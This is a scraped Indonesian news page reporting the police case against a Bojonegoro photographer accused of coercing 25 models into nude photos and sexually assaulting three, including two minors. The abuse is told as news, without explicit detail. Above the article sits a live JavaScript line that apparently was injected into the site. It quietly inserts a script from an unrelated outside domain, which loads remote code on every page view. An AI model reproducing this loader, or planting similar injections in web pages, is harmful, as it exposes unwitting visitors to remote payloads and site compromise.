(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Fotografer Cabul Setubuhi Para Model Cantik, 25 Foto Korban Hasil Jempretan Diungkap Polisi


KANALKALIMANTAN.COM, BOJONEGORO– Sebanyak 25 gadis cantik difoto bugil fotografer cabul asal Bojonogoro. Foto bugil 25 gadis atau foto bugil model cantik itu diungkap polisi.

Setidaknya, ada tiga laporan akan ulah MH yang dipolisikan telah memperkosa model cantik, sebelum terlebih dahulu difoto bugil biasa hinggga berpose tanpa busana alias foto telanjang. Mirisnya lagi, ada korban yang masih di bawah umur.

Kapolres Bojonegoro AKBP M Budi Hendrawan mengatakan, kasus ini terkuak setelah polisi mendalami laporan keluarga korban.

Menurut Budi, motif tersangka melakukan persetubuhan itu setelah membuat aturan kepada korban lewat perjanjian kontrak. Dalam perjanjian itu, korban bakal kena denda uang puluhan juta apabila tak mau menuruti perintah fotografer cabul itu. Lewat modus aturan kerja, korban akhirnya disetubuhi tersangka.

“Jika tidak mau foto telanjang korban ancaman akan didenda Rp 50 juta, menjadi pacarnya atau harus mau disetubuhi,” kata Kapolres seperti dikutip dari BeritaJatim.com, Jumat (12/6/2020) lalu, seperti dikutip Suara.com.

Belakangan diketahui, korban lebih dari laporan yang ada. Setidaknya ada 25 model yang menjadi korban foto bugil pelaku. Menurut Kapolres, pelaku beraksi merayu dan mencari korban melalui media sosial sejak 2018 lalu.

“Hingga saat ini, ada tiga model yang telah disetubuhi pelaku. Dua siswi SMP dan seorang mahasiswi. Sementara total korban mencapai 25 model. Selain tiga yang disetubuhi, mereka menjadi korban foto bugil,” kata Budi.

Ia menjelaskan, seluruh korban terjaring melalui tawaran di media sosial. Pelaku menawarkan korban untuk menjadi model yang ia foto. Setelah itu, korban dan pelaku bertemu. Kemudian pelaku mengikat korban dengan perjanjian tertulis.

Kekinian, Polres Bojonegoro terus mengembangkan kasus fotografer cabul tersebut. Diketahui, kasus persetubuhan tersebut dilakukan saat sesi pemotretan bersama korban model berusia 15 tahun di salah satu kamar hotel di Kecamatan Kalitidu, Kabupaten Bojonegoro pada 6 Mei 2020 sekitar pukul 13.00 WIB.

Dalam sesi pemotretan itu, tersangka meminta kepada korban dengan sesi foto normal menggunakan baju biasa, foto seksi hingga foto telanjang. Atas perbuatannya itu, MH dijerat Undang Undang Perlindungan Anak dengan ancaman maksimal hukuman 15 tahun kurungan.

Pasal lain yang disertakan adalah Pasal 9 Jo Pasal 35 UU RI nomor 44 tahun 2008 tentang Pornografi, yang berbunyi setiap orang yang menjadikan orang lain sebagai objek atau model yang mengandung muatan pornografi diancanam dengan hukuman satu tahun hingga 12 tahun penjara.(suara)

Reporter : Suara
Editor : Chell

Desy Arfianty

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

6 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

6 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

7 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

8 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

9 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

9 jam ago

This website uses cookies.